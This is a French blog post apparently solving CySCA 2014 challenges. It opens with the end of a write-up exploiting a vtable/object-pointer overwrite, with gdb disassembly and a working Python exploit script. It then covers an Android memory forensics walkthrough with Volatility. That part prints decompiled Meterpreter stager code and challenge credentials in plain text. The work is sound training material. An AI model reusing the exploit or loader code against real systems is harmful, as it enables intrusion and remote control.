0x80493b4 <CReqObj::SetRequestData(char*)+16>:       mov    0x8(%ebp),%eax  ; si une chaine est déjà portée
0x80493b7 <CReqObj::SetRequestData(char*)+19>:       mov    0x4(%eax),%eax
0x80493ba <CReqObj::SetRequestData(char*)+22>:       mov    %eax,(%esp)
0x80493bd <CReqObj::SetRequestData(char*)+25>:       call   0x8048910 <free@plt> ; libère la chaine actuelle
0x80493c2 <CReqObj::SetRequestData(char*)+30>:       mov    0x8(%ebp),%eax
0x80493c5 <CReqObj::SetRequestData(char*)+33>:       movl   $0x0,0x4(%eax)  ; met le pointeur à zéro
0x80493cc <CReqObj::SetRequestData(char*)+40>:       mov    0xc(%ebp),%eax  ; saute ici si pas encore de chaine
0x80493cf <CReqObj::SetRequestData(char*)+43>:       mov    %eax,(%esp)     ; second argument: nouvelle chaine
0x80493d2 <CReqObj::SetRequestData(char*)+46>:       call   0x8048a60 <strdup@plt>
0x80493d7 <CReqObj::SetRequestData(char*)+51>:       mov    %eax,%edx
0x80493d9 <CReqObj::SetRequestData(char*)+53>:       mov    0x8(%ebp),%eax
0x80493dc <CReqObj::SetRequestData(char*)+56>:       mov    %edx,0x4(%eax)  ; fixe le nouveau pointeur
0x80493df <CReqObj::SetRequestData(char*)+59>:       leave  
0x80493e0 <CReqObj::SetRequestData(char*)+60>:       ret

Si une chaîne est déjà définie alors elle est libérée via free().
Ensuite la nouvelle chaine reçue en argument est dupliquée via strdup() et l'ancienne adresse écrasée par la nouvelle.
Bref pas non plus de faille de ce côté.

L'affichage de la vtable depuis gdb donne les infos suivantes (on retrouve les adresses des deux méthodes) :
0x8049820 <vtable for CReqObj>: 0x00000000      0x08049830      0x08049376      0x080493a4
0x8049830 <typeinfo for CReqObj>:       0x0804ace8      0x08049838      0x65524337      0x6a624f71

La méthode destructeur de l'objet réalise un free() de la chaîne comme on pouvait s'y attendre :
0x0804934c <+0>:     push   %ebp
0x0804934d <+1>:     mov    %esp,%ebp
0x0804934f <+3>:     sub    $0x18,%esp
0x08049352 <+6>:     mov    0x8(%ebp),%eax
0x08049355 <+9>:     movl   $0x8049828,(%eax)
0x0804935b <+15>:    mov    0x8(%ebp),%eax
0x0804935e <+18>:    mov    0x4(%eax),%eax
0x08049361 <+21>:    test   %eax,%eax
0x08049363 <+23>:    je     0x8049373 <CReqObj::~CReqObj()+39>
0x08049365 <+25>:    mov    0x8(%ebp),%eax
0x08049368 <+28>:    mov    0x4(%eax),%eax
0x0804936b <+31>:    mov    %eax,(%esp)
0x0804936e <+34>:    call   0x8048910 <free@plt>
0x08049373 <+39>:    leave  
0x08049374 <+40>:    ret

On profite aussi pour relever l'adresse de win() depuis gdb : 0x080490e1.

On ne peut pas écraser les adresses des fonctions présentes dans la vtable en revanche on peut écraser l'adresse de l'objet CReqObj dont le pointeur est dans la stack.

Le principe de l'exploitation est expliqué dans Phrack #56 par Rix.

On va envoyer au serveur un buffer qui commencera par une fausse structure d'un objet CReqObj (avec une fausse vtable et un faux char*).
Suivra ensuite une fausse vtable que l'on aura remplie avec l'adresse de win.
La fin de notre buffer servira à écraser l'adresse de l'instance de CReqObj (reqObj) pour la faire pointer au début du buffer.
De cette façon après le recv() on se retrouvera avec edx = adresse de win().

Mais d'abord comment est organisée la stack ? Voici le début de handle_client :
0x08049141 <+0>:     push   %ebp
0x08049142 <+1>:     mov    %esp,%ebp
0x08049144 <+3>:     push   %edi
0x08049145 <+4>:     push   %esi
0x08049146 <+5>:     push   %ebx
0x08049147 <+6>:     sub    $0xac,%esp
Il y a 172 octets réservés. Après rapprochement du code assembleur et du code C on a la répartition suivante :
socket   => ebp-8
reqObj   => ebp-28
retValue => ebp-29
reqLen   => ebp-32
recvLen  => ebp-36 *
reqData  => ebp-164

On va envoyer un payload suffisamment grand pour écraser les variables jusqu'à reqObj en prenant soin de ne pas toucher à la socket qui va nous envoyer le flag :p

Puisque l'adresse de recvLen est leakée par le programme il suffit seulement de faire quelques soustractions pour déterminer l'adresse de notre buffer et le structurer comme il faut.
import socket
import re
import struct

sock = socket.socket()
print "Connecting..."
sock.connect(('192.168.1.64', 21320))
sock.send("\x00\x00")
buff = sock.recv(64)  # Got request size...

address = int(re.search(r"\d+", buff).group(0))
if "-" in buff:
    address = 2**32 - address
print "Address of recvLen is", hex(address)

win = 0x080490e1
reqData = address - 128
vtable = reqData + 8

payload =  struct.pack("I", vtable)
payload += struct.pack("I", 0)
payload += struct.pack("I", win)
payload += struct.pack("I", win)
payload += struct.pack("I", win)
payload += struct.pack("I", win)
for i in range(28):
    payload += struct.pack("I", 0xdeadbeef)
payload += struct.pack("I", reqData)
payload += struct.pack("I", reqData)
print "Sending payload..."

sock.send(payload)
buff = sock.recv(1024)
print buff
sock.close()
Et voilà le travail :
Connecting...
Address of recvLen is 0xbfbde5d4
Sending payload...
Success. Your flag is TokenMountedLeaky858

Les étudiants du CySCA 2014 ont eu la chance de plancher sur une épreuve supplémentaire baptisée "Corporate Network Pentest" dont la solution officielle est ici.

Classé dans : Non classé - Mots clés : aucun

Solution du Cyber-Security Challenge Australia 2014 (Android Forensics)

Rédigé par devloop - -

De toutes les épreuves proposées par le CySCA 2014, il n'y a qu'une série d'épreuve qui n'évoquait strictement rien pour moi : l'épreuve d'inforensique Androïd.

J'ai beau avoir quelques devices Androïd que j'utilise occasionnellement, je n'ai jamais pris la peine de fouiller ce système.

C'était donc un voyage vers l'inconnu et je me suis parfois demandé ce que je faisais das cette galère :p
Heureusement j'avais quelques numéros de MISC sous la main qui traitaient d'Androïd et m'ont aidé à connaître la structure d'un APK ou les fichiers potentiellement intéressants du système :)

Pour ces épreuves les organisateurs nous ont laissé trois éléments :
  • un dump mémoire de 833Mo du système Androïd 4.1.2 utilisé (Kernel 2.6.29 Goldfish)
  • un profil Volatility fonctionnel afin qu'on puisse conserver nos cheveux
  • une archive 7z contenant le dossier framework de la partition /system. On nous indique que ce sera nécessaire pour décompiler les binaires odex (version 16 de l'API Androïd)
Une fois que l'on a copié le plugin Volatility dans le dossier plugins/overlays/linux/ on découvre que (wow!) effectivement la majorité des commandes pour l'analyse d'image Linux fonctionnent.

Flappy Bird (120 points)

Maintenant que l'on est rassurés on peut s'attaquer à la première question qui est la suivante :
Identify the suspicious app on the device

a) Identify the PID of the suspicious app on the phone.
b) What UID is associated with this process?
c) When did the process start?

Note the processes with PIDs 1454, 1461, 1468 are for dumping memory and can be ignored.

Example answer format: [1234] [4321] [0000-00-00 00:00:00 UTC+0000]
Volatility nécessite de recevoir en paramètre le chemin du dump ainsi que le nom du profile utilisé.
La commande linux_psaux donne (comme son nom l'indique) une liste des processus en cours au moment de la création du dump :
$ python vol.py linux_psaux -f memory.dmp --profile=Linuxgoldfish-2_6_29ARM
Volatility Foundation Volatility Framework 2.4
Pid    Uid    Gid    Arguments
1      0      0      /init
2      0      0      [kthreadd]
3      0      0      [ksoftirqd/0]
4      0      0      [events/0]
5      0      0      [khelper]
6      0      0      [suspend]
7      0      0      [kblockd/0]
8      0      0      [cqueue]
9      0      0      [kseriod]
10     0      0      [kmmcd]
11     0      0      [pdflush]
12     0      0      [pdflush]
13     0      0      [kswapd0]
14     0      0      [aio/0]
24     0      0      [mtdblockd]
25     0      0      [kstriped]
26     0      0      [hid_compat]
29     0      0      [rpciod/0]
30     0      0      [mmcqd]
31     0      0      /sbin/ueventd
32     1000   1000   /system/bin/servicemanager
33     0      0      /system/bin/vold
35     0      0      /system/bin/netd
36     0      0      /system/bin/debuggerd
37     1001   1001   /system/bin/rild
38     1000   1003   /system/bin/surfaceflinger
39     0      0      zygote /bin/app_process -Xzygote /system/bin --zygote --start-system-server
40     1019   1019   /system/bin/drmserver
41     1013   1005   /system/bin/mediaserver
42     0      0      /system/bin/installd
43     1017   1017   /system/bin/keystore /data/misc/keystore
44     0      0      /system/bin/qemud
47     2000   1007   /system/bin/sh
48     0      0      /sbin/adbd
220    1000   1000   system_server
276    10033  10033  com.android.systemui
308    1001   1001   com.android.phone
324    10014  10014  com.android.launcher
354    10010  10010  android.process.acore
462    10051  10051  com.outlook.Z7:engine
477    10036  10036  com.android.inputmethod.latin
530    10007  10007  android.process.media
554    10045  10045  com.twitter.android
568    10030  10030  com.android.email
671    10049  10049  com.lidroid.fileexplorer:bdservice_v1
727    10056  10056  local.weather.forecast.pro
928    10059  10059  com.estrongs.android.pop
959    10059  10059  /data/data/com.estrongs.android.pop/files/libestool2.so 39623 /data/data/com.estrongs.android.pop/files/comm/tool_port
975    10018  10018  com.android.packageinstaller
988    10029  10029  com.android.defcontainer
1003   10015  10015  com.svox.pico
1016   10057  10057  cm.aptoide.pt
1036   10006  10006  com.android.quicksearchbox
1095   10046  10046  com.devhd.feedly
1141   10052  10052  com.foobnix.pdf.reader
1185   10061  10061  org.jtb.httpmon
1221   10019  10019  com.android.mms
1255   10061  10061  sh
1321   10010  10010  com.android.contacts
1368   10047  10047  com.blueinfinity.photo
1420   1000   1000   com.android.settings
1454   0      0      /system/bin/sh -
1461   0      0      sh
1468   0      0      insmod lime.ko path=/sdcard/mem.dmp format=lime
Les process qui me semblent les plus anormaux sont les derniers... qu'il faut bien sûr ignorer :D

A part ça je note la présence d'un sh (pid 1255), d'un httpmon (1185) et d'une librairie .so dans le dossier com.estrongs.adroid.pop (959).
Mais là encore n'y connaissant rien il ne s'agit encore que d'un ressenti :p

$ python vol.py linux_getcwd -f memory.dmp --profile=Linuxgoldfish-2_6_29ARM
Volatility Foundation Volatility Framework 2.4
Name              Pid      CWD
----------------- -------- ---
init                     1
kthreadd                 2
ksoftirqd/0              3
--- snip ---
drmserver               40
mediaserver             41
installd                42
keystore                43 /data/misc/keystore
qemud                   44
sh                      47
adbd                    48
--- snip ---
er.forecast.pro        727
ngs.android.pop        928
libestool2.so          959 /data/data/com.estrongs.android.pop/files
ackageinstaller        975
id.defcontainer        988
com.svox.pico         1003
cm.aptoide.pt         1016
.quicksearchbox       1036
om.devhd.feedly       1095
bnix.pdf.reader       1141
org.jtb.httpmon       1185
com.android.mms       1221
sh                    1255 /data/data/org.jtb.httpmon/files/a
ndroid.contacts       1321
einfinity.photo       1368
ndroid.settings       1420
sh                    1454
sh                    1461 /mnt/sdcard
insmod                1468 /mnt/sdcard
La commande linux_getcwd donne (évidemment) le répertoire de travail de chaque process.
Du coup le processus 1255 semble encore plus suspicieux et montre une relation directe entre le shell et l'application httpmon.

La commande linux_pstree permet d'obtenir une hiérarchie des processus mais ce qui se passe doit être assez générique pour du Androïd (on retrouve des AsyncTask à plusieurs endroits) :

..AsyncTask #1       1200            10061
...sh                1255            10061
..AsyncTask #3       1213            10033
..AsyncTask #4       1214            10033
Sans compter que presque tous les process héritent du process Zygote...

Je décide d'approfondir la piste httpmon. La commande linux_lsof offre des informations intéressantes :

$ python vol.py linux_lsof -f memory.dmp --profile=Linuxgoldfish-2_6_29ARM -p 1185

Volatility Foundation Volatility Framework 2.4
Pid      FD       Path
-------- -------- ----
    1185        0 /dev/null
    1185        1 /dev/null
    1185        2 /dev/null
    1185        3 /dev/log/main
    1185        4 /dev/log/radio
    1185        5 /dev/log/events
    1185        6 /system/framework/core.jar
    1185        7 /system/framework/core-junit.jar
    1185        8 /dev/__properties__
    1185        9 /dev/binder
    1185       10 /system/framework/bouncycastle.jar
    1185       11 /system/framework/ext.jar
    1185       12 /system/framework/framework.jar
    1185       13 /system/framework/android.policy.jar
    1185       14 /system/framework/services.jar
    1185       15 /system/framework/apache-xml.jar
    1185       16 /system/framework/framework.jar
    1185       17 /system/framework/framework-res.apk
    1185       18 /system/etc/system_fonts.xml
    1185       19 /system/etc/fallback_fonts.xml
    1185       20 /system/framework/core.jar
    1185       21 /dev/urandom
    1185       22 pipe:[4570]
    1185       23 /dev/cpuctl/apps/tasks
    1185       24 /dev/cpuctl/apps/bg_non_interactive/tasks
    1185       25 socket:[4567]
    1185       26 pipe:[4568]
    1185       27 pipe:[4568]
    1185       28 pipe:[4570]
    1185       29 /anon_inode:/[eventpoll]
    1185       30 /dev/ashmem
    1185       31 /dev/ashmem
    1185       32 /data/app/org.jtb.httpmon-1.apk
    1185       33 /data/app/org.jtb.httpmon-1.apk
    1185       34 /data/app/org.jtb.httpmon-1.apk
    1185       35 pipe:[4586]
    1185       36 pipe:[4586]
    1185       37 /anon_inode:/[eventpoll]
    1185       38 socket:[4594]
    1185       39 /data/data/org.jtb.httpmon/files/UpdateService.jar
    1185       40 /data/data/org.jtb.httpmon/files/UpdateService.jar
    1185       41 /data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar
    1185       42 /data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar
    1185       43 /727/task/1538
    1185       46 /1185/task/1531
    1185       47 /data/org.jtb.httpmon/shared_prefs/org.jtb.httpmon_preferences.xml.bak
    1185       48 /1185/task/1531
    1185       49 pipe:[4791]
    1185       50 pipe:[4792]
    1185       51 []
    1185       52 pipe:[4793]
    1185       53 /727/task/1538
    1185       55 /meminfo
    1185       56 pipe:[6535]
    1185       58 pipe:[6535]
    1185       59 /anon_inode:/[eventpoll]
    1185       60 /system/batterystats.bin
Pas besoin d'être un expert Androïd pour soupçonner qu'une application légitime ne disposerait pas de fichier nommé rathrazdaeizaztaxchj.jar :p

On retrouve la présence de ce fichier via la commande linux_proc_maps de Volatility (pour le process 1185) :
1185 0x000000004b88f000 0x000000004b891000 r--       0x1d000     31      1       1063 /data/app/org.jtb.httpmon-1.apk
1185 0x000000004b891000 0x000000004b8aa000 r--           0x0     31      1       1094 /data/dalvik-cache/data@app@org.jtb.httpmon-1.apk@classes.dex
1185 0x000000004b8aa000 0x000000004b8c2000 r--           0x0     31      1       1240 /data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.dex
1185 0x000000004b8c2000 0x000000004b8c5000 rw-           0x0      0      7       4706 /dev/ashmem/dalvik-aux-structure
Au passage via lsof j'ai remarqué la présence d'un PDF ouvert via le lecteur PDF Foobnix (com.foobnix.pdf.reader) :
1141       76 /mnt/sdcard/Download/Application_Whitelisting.pdf

L'une des commandes les plus intéressantes de Volatility est linux_find_file : elle permet de scanner en mémoire les fichiers mappés et retrouver l'inode à partir du path :
$ python vol.py linux_find_file -f memory.dmp --profile=Linuxgoldfish-2_6_29ARM -F /data/app/org.jtb.httpmon-1.apk
Volatility Foundation Volatility Framework 2.4
Inode Number          Inode File Path
---------------- ---------- ---------
            1063 0xf370fe90 /data/app/org.jtb.httpmon-1.apk
Cette même commande permet en changeant les options (-i pour spécifier l'inode, -O pour la destination) d'extraire le contenu d'un fichier. Énorme :)
Les fichiers ainsi extraits sont parfois corrompus mais contiennent suffisamment de données pour se rendre utiles.

J'ai extrait un certains nombre de fichiers dont voici une liste rapide :
1210 0xf36bc570 /data/data/org.jtb.httpmon/files/UpdateService.jar
1230 0xf35c82c0 /data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar
 621 0xf35f0740 /data/data/com.android.providers.telephony/databases/mmssms.db
 666 0xf35bbe90 /data/data/com.android.providers.telephony/databases/telephony.db
 505 0xf352cab8 /data/data/com.android.launcher/databases/launcher.db
 495 0xf3545ab8 /data/data/com.android.providers.contacts/databases/contacts2.db
 464 0xf369dc40 /data/data/com.android.providers.contacts/databases/profile.db
 783 0xf35c8d28 /data/data/com.outlook.Z7/databases/email.db
 551 0xf35d7eb0 /data/data/com.android.providers.downloads/databases/downloads.db
 815 0xf3717c20 /data/data/com.devhd.feedly/databases/webviewCookiesChromium.db
 609 0xf37218e8 /data/data/com.foobnix.pdf.reader/databases/webview.db
 481 0xf36a4b38 /data/data/org.jtb.httpmon/shared_prefs/org.jtb.httpmon_preferences.xml
Arrivé à ce stade il faut bien se décider à répondre aux premières questions.

Ma réponse est la suivante :

PID 1185 (le pid de httpmon)
UID 10061 (le user id qui la fait tourner)
DATE 2014-02-25 05:10:56

La date de lancement de l'application se retrouve via la commande linux_pslist :
0xe102d800 org.jtb.httpmon      1185            10061           10061  0x21024000 2014-02-25 05:10:56 UTC+0000

Tower of Medivh (120 points)

Provide the CVE for the vulnerability that was used to allow the installation of this package.

Example answer format: [CVE-2000-0001]
J'ai été bien en peine sur cette question là...

J'ai d'abord trouvé deux vulnérabilités qui touche Estrongs File Explorer présent sur le système :
http://www.securityfocus.com/bid/66384/info
http://www.securityfocus.com/bid/52285/info

et deux pages toujours en rapport :
http://vuln.sg/esfileexplorer303-en.html
https://stackoverflow.com/questions/30130186/how-to-load-a-library-as-root

Mais aucune ne permet l'installation de packages d'une manière où d'une autre...

Comme souvent sur les épreuves d'inforensique il aura fallut aller plus loin dans les questions pour avoir une vision plus nette de ce qu'il s'est passé en totalité.

C'est l'analyse du fichier /data/data/com.android.email/databases/EmailProviderBody.db qui m'a mis la puce à l'oreille.
Ce fichier contient les emails reçus mais est corrompu et en partie inexploitable avec sqlite3 mais un strings se montre efficace pour avancer sur les questions :
Hi Kevin,

I'm a big fan of your site and I saw that your it went down over the weekend! :( If you want a good
application to monitor this kind of activity you should use httpmon
(http://www.megafileupload.com/en/file/502128/org-jtb-httpmon-apk.html); it's signed by the
author if your worried about rogue apps ;)

Let me know if you have any problems!

Mike
On apprend soudainement beaucoup de choses. Principalement que httpmon est une application normalement légitime (trouvable sur le Play Store) mais que vraisemblablement ce Mike l'a vérolé et a utilisé un peu d'ingénierie sociale pour parvenir à ses fins.

L'information qui nous intéresse pour la question c'est le fait que Mike indique que l'application est signée par l'auteur...
Dès lors comment Mike a t-il réussi à véroler l'application ?

Tout s'explique par la vulnérabilité CVE-2013-4787.

Sophos explique très bien le principe de la vulnérabilité (depuis corrigée) : un APK est simplement un zip organisé d'une manière prédéfinie.
Androïd vérifie au fur et à mesure de sa lecture des signatures pour chaque fichier listé dans le zip (les signatures sont dans META-INF/MANIFEST.MF lui-même compressé).
Seulement le format zip permet de spécifier deux fois le même fichier... et Androïd fait la vérification de signature sur la première occurence d'un fichier alors qu'il écrase cette occurence si une autre est présente !

C'est facilement vérifiable avec l'utilitaire unzip :

$ unzip -l org.jtb.httpmon-1.apk
Archive:  org.jtb.httpmon-1.apk
  Length      Date    Time    Name
---------  ---------- -----   ----
    98532  2014-02-21 06:42   classes.dex
     2156  2010-11-27 15:28   res/drawable/icon.png
     1408  2010-11-27 15:28   res/drawable/invalid.png
     1328  2010-11-27 15:28   res/drawable/running.png
     1299  2010-11-27 15:28   res/drawable/status.png
     1311  2010-11-27 15:28   res/drawable/stopped.png
     1470  2010-11-27 15:28   res/drawable/valid.png
      872  2010-11-27 15:29   res/layout/action_row.xml
      892  2010-11-27 15:29   res/layout/condition_row.xml
     2768  2010-11-27 15:29   res/layout/edit_content_contains_condition.xml
     3084  2010-11-27 15:29   res/layout/edit_header_contains_condition.xml
     4984  2010-11-27 15:29   res/layout/edit_monitor.xml
     3072  2010-11-27 15:29   res/layout/edit_notification_action.xml
     1820  2010-11-27 15:29   res/layout/edit_request.xml
     1560  2010-11-27 15:29   res/layout/edit_response_code_condition.xml
     1752  2010-11-27 15:29   res/layout/edit_response_time_condition.xml
     2608  2010-11-27 15:29   res/layout/edit_sms_action.xml
      660  2010-11-27 15:29   res/layout/log.xml
     1100  2010-11-27 15:29   res/layout/manage_monitors.xml
     2292  2010-11-27 15:29   res/layout/monitor_row.xml
     2284  2010-11-27 15:29   res/layout/prefs.xml
     6264  2010-11-27 15:29   AndroidManifest.xml
    10808  2010-11-27 15:28   resources.arsc
    94328  2010-11-27 15:29   classes.dex
     1900  2010-11-27 15:29   META-INF/MANIFEST.MF
     1953  2010-11-27 15:29   META-INF/CERT.SF
      937  2010-11-27 15:29   META-INF/CERT.RSA
---------                     -------
   253442                     27 files
On observe ici deux fois le fichier classes.dex. Le plus agé est l'original (avec la signature valide) et le second (daté de 2014 et plus volumineux) est celui piégé.

Wrath (180 points)

Identify additional payload stages

a) What are the file paths for the second and third Java stages of the malware?
b) What are the file sizes of these two files (in bytes)?
c) What is the publicly named malware used in both stages?

Example answer format: [/dir/dir/filename1.ext | /dir/dir/filename2.ext] [12345 | 54321] [MalwareRAT]
Les questions a et b sont facile à résoudre une fois que l'on a extrait les fichiers de la mémoire :
/data/data/org.jtb.httpmon/files/UpdateService.jar (1993 octets)
/data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar (37661 octets)

Comment procéder pour lire ces fichiers JAR :
Une archive JAR est juste une archive zip, on l'ouvre donc avec unzip.
A l'intérieur on trouve un fichier .dex que l'on peut convertir (à son tour) en .jar via le logiciel dex2jar.

Inutile de décompresser le .jar résultant qui contient les .class. On le passe directement au décompilateur JD (JD-GUI) qui en fait son affaire.

Ainsi on trouve le code suivant dans UpdateService.jar :
package androidpayload.stage;

import android.content.Context;
import dalvik.system.DexClassLoader;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.util.Random;

public class Meterpreter
  implements Stage
{
  private String randomJarName()
  {
    char[] arrayOfChar = "abcdefghijklmnopqrstuvwxyz".toCharArray();
    StringBuilder localStringBuilder = new StringBuilder();
    Random localRandom = new Random();
    int i = 0;
    while (i < 20)
    {
      localStringBuilder.append(arrayOfChar[localRandom.nextInt(arrayOfChar.length)]);
      i += 1;
    }
    return localStringBuilder.toString() + ".jar";
  }

  public void start(DataInputStream paramDataInputStream, OutputStream paramOutputStream, Context paramContext, String[] paramArrayOfString)
    throws Exception
  {
    paramArrayOfString = randomJarName();
    String str = paramContext.getFilesDir().getAbsolutePath();
    byte[] arrayOfByte = new byte[paramDataInputStream.readInt()];
    paramDataInputStream.readFully(arrayOfByte);
    FileOutputStream localFileOutputStream = paramContext.openFileOutput(paramArrayOfString, 0);
    localFileOutputStream.write(arrayOfByte);
    localFileOutputStream.close();
    new DexClassLoader(str + File.separatorChar + paramArrayOfString, str, str, paramContext.getClassLoader()).loadClass("com.metasploit.meterpreter.AndroidMeterpreter").getConstructor(new Class[] { DataInputStream.class, OutputStream.class, Context.class, Boolean.TYPE }).newInstance(new Object[] { paramDataInputStream, paramOutputStream, paramContext, Boolean.valueOf(false) });
  }
}
UpdateService.jar est donc le second stage et rathrazdaeizaztaxchj.jar le third stage.
Quand au nom connu du malware correspondant à ces deux stages c'est simplement le Meterpreter de Metasploit :)

Scams Through The Portal (180 points)

Investigate the attack vector

a) Provide the full path to the malicious app's original location on the phone.
b) Provide the IP for where the malware was initially downloaded.
c) What is the email address of the person who is responsible for this compromise?

Example answer format: [/dir/dir/filename.ext] [127.0.0.1] [email@domain.com]
La commande linux_dentry_cache de Volatility peut prendre du temps à s'exécuter mais vaut la peine d'attendre.
On retrouve facilement l'emplacement initial du apk malicieux :
0|Download/[Megafileupload]org.jtb.httpmon.apk|174|0|1000|1015|124408|4084033896|4084033904|0|4084033912
Et dans le fichier downloads.db extrait plus tôt on retrouve des informations complémentaires :
sqlite> select * from downloads;
1|http://172.16.1.80/img/people/kevin.jpg|0|||file:///mnt/sdcard/Download/kevin.jpg||/mnt/sdcard/Download/kevin.jpg|image/jpeg|4||0||200|0|1392952454780|com.android.browser||||||31137|31137|"40b91-79a1-4f2e200d89141"|10004||kevin.jpg|172.16.1.80|1|1|1|-1|1|0|content://media/external/images/media/12|0||1
2|http://www.asd.gov.au/publications/csocprotect/Application_Whitelisting.pdf|0|||file:///mnt/sdcard/Download/Application_Whitelisting.pdf||/mnt/sdcard/Download/Application_Whitelisting.pdf|application/pdf|4||1||200|0|1393205837399|com.android.browser||||||449709|449709|"6ddda-6dcad-4d13c72f8e600"|10004||Application_Whitelisting.pdf|www.asd.gov.au|1|1|1|-1|1|0|content://media/external/file/157|0||1
3|http://212.7.194.85/getfile.php?id=502128&access_key=af1a5e52710db24b96bd6b0fd889c7c5&t=530c1c39&o=C7AA675A03F1AD70CF8FEFF381EA8B85C7B6645A03EDB070CF8FE3EF87BCD88694B07A5B6CBCEC37D3F694F380F68D99&name=org.jtb.httpmon.apk|0|||file:///mnt/sdcard/Download/[Megafileupload]org.jtb.httpmon.apk|||application/octet-stream|4||1||495|0|1393304677898|com.android.browser||||||-1|0||10004|||212.7.194.85||1|1|-1|1|0||0|can't know size of download, giving up|1
4|http://212.7.194.85/getfile.php?id=502128&access_key=142e7aafe3f38db049c9841c9fd2263d&t=530c1cf3&o=C7AA675A03F1AD70CF8FEFF381EA8B85C7B6645A03EDB070CF8FE3EF87BCD88694B07A5B6CBCEC37D3F694F380F68D99&name=org.jtb.httpmon.apk|0|||file:///mnt/sdcard/Download/[Megafileupload]org.jtb.httpmon.apk||/mnt/sdcard/Download/[Megafileupload]org.jtb.httpmon.apk|application/octet-stream|4||1||200|0|1393304784497|com.android.browser||||||124408|124408||10004||[Megafileupload]org.jtb.httpmon.apk|212.7.194.85|1|1|1|-1|1|0|content://media/external/file/169|0||1
On sait donc que le fichier a été téléchargé depuis le serveur 212.7.194.85. Ce serveur appartient à MegaFileUpload, un service toujours d'actualité malheureusement suite à une restructuration l'APK n'est plus téléchargeable (38 personnes auront au la chance de le récupérer tel quel, probablement quand le challenge était actif).
Pour la question c on dispose déjà en partie de la réponse mais le fichier /data/data/com.android.email/databases/EmailProvider.db donne d'autres informations intéressantes :
sqlite> select * from Account;
1|k3vin.saunders@gmail.com|k3vin.saunders@gmail.com||-1|15|1|2|2313|0|cc963c62-5175-48a8-a6fd-7e7e18316a44|Kevin Saunders|content://settings/system/notification_sound||0||||0|0|0
sqlite> select * from HostAuth;
1|imap|imap.gmail.com|993|5|k3vin.saunders@gmail.com|superkev||0|
2|smtp|smtp.gmail.com|465|5|k3vin.saunders@gmail.com|superkev||0|
sqlite> select * from Message;
1|4|1392078696000|Google+ team|1392078695000|Getting started on Google+|0|1|0|0|0||<CKDeuaHpwrwCFYZycgodTYAAAA@plus.google.com>|9|1|Google+ team <noreply-daa26fef@plus.google.com>|k3vin.saunders@gmail.com|||||Welcome to Google+, Kevin!Share with the people you care about, and explore the stuff you're into.Go to Google+Share and stay in touch with just the right peopleEnhance and back up your photos automat||
2|5|1392087497000|Twitter|1392087494000|Confirm your Twitter account, K3vinSaunders!|1|1|0|0|0||<BC.EB.02656.6C199F25@spruce-goose.twitter.com>|9|1|Twitter <confirm@twitter.com>|Kevin Saunders <k3vin.saunders@gmail.com>|||||Kevin Saunders, Please confirm your Twitter account Confirming your account will give you full access to Twitter and all future notifications will be sent to this email address. Confirm your account n||
3|6|1392379137000|Twitter|1392379134000|Confirm your Twitter account, K3vinSaunders!|0|1|0|0|0||<82.23.05397.EF40EF25@spruce-goose.twitter.com>|9|1|Twitter <confirm@twitter.com>|Kevin Saunders <k3vin.saunders@gmail.com>|||||Kevin Saunders, Please confirm your Twitter account Confirming your account will give you full access to Twitter and all future notifications will be sent to this email address. Confirm your account n||
4|7|1392529476000|Twitter|1392529474000|Confirm your Twitter account, K3vinSaunders!|0|1|0|0|0||<1A.D5.56395.24050035@spruce-goose.twitter.com>|9|1|Twitter <confirm@twitter.com>|Kevin Saunders <k3vin.saunders@gmail.com>|||||Kevin Saunders, Please confirm your Twitter account Confirming your account will give you full access to Twitter and all future notifications will be sent to this email address. Confirm your account n||
5|8|1392889021000|Twitter|1392889019000|Confirm your Twitter account, K3vinSaunders!|0|1|0|0|0||<1C.EA.56249.BBCC5035@spruce-goose.twitter.com>|9|1|Twitter <confirm@twitter.com>|Kevin Saunders <k3vin.saunders@gmail.com>|||||Kevin Saunders, Please confirm your Twitter account Confirming your account will give you full access to Twitter and all future notifications will be sent to this email address. Confirm your account n||
6|1|1393155939000|Me|1393154502553|Remember meeting tomorrow 8:00 <eom>|1|1|0|0|131072||<xdekarfhdn5x0kqwksk0fims.1393154502553@email.android.com>|11|1|k3vin.saunders@gmail.comKevin Saunders|Me <k3vin.saunders@gmail.com>|||||||
7|9|1393155068000|Kevin Saunders|1393154502000|Remember meeting tomorrow 8:00 <eom>|0|1|0|0|0||<xdekarfhdn5x0kqwksk0fims.1393154502553@email.android.com>|9|1|Kevin Saunders <k3vin.saunders@gmail.com>|Me <k3vin.saunders@gmail.com>|||||||
8|10|1393209801000|mike.joss@hushmail.com|1393209799000|RE: Website downtime :(|1|1|0|0|0||<20140224024319.AEDBF206E4@smtp.hushmail.com>|9|1|mike.joss@hushmail.com|k3vin.saunders@gmail.com|||||Hi Kevin,I'm a big fan of your site and I saw that your it went down over the weekend! :( If you want a good application to monitor this kind of activity you should use httpmon (http://www.megafileupl||
N'est-ce pas mike.joss@hushmail.com ?

hunter2 (200 points)

Information on files exfiltrated

a) Where were the files copied to before they were stolen?
b) What were the credentials that were stolen?
c) What was the full path to the PDF document that was exfiltrated?

Example answer format: [/dir/dir/stagedir/] [username/password] [/dir/dir/filename.ext]
On quitte donc la partie "comment c'est arrivé" pour la partie "que s'est t-il passé..."
La présence du processus sh dans le dossier de l'APK backdooré indique que le pirate a récupéré un shell depuis le Meterpreter.
J'ai eu recours à la commande linux_proc_maps de Volatility pour lister les zones mémoires du processus shell :
python vol.py linux_proc_maps -f memory.dmp --profile=Linuxgoldfish-2_6_29ARM -p 1255
C'est dans le heap que j'ai trouvé le plus d'informations intéressantes :
python vol.py linux_dump_map -f memory.dmp --profile=Linuxgoldfish-2_6_29ARM -p 1255 -s 0x00000000beb41000 -D /tmp/output
Un strings retourne les informations (relativement) lisibles suivantes :
card/Download/kevin.jpg > ./k
listing.pdf > ./a
*/data/data/org.jtb.httpmon/files/a
CDPATH
*/data/data/org.jtb.httpmon/files/a
netstat
*/system/bin/netstat
mkdir
*/system/bin/rm
*/data/data/org.jtb.httpmon/files
ls -l
ard/Download/
@ystem/bin/rm
@yste
*/system/bin/ps
*_=/system/bin/ls
@rg.jA
ttpmon/files
netstat
*nets
ard/y
*/system/bin/rm
Username: kevins
Password: s1mpl!c17y
Account active for 12 mon
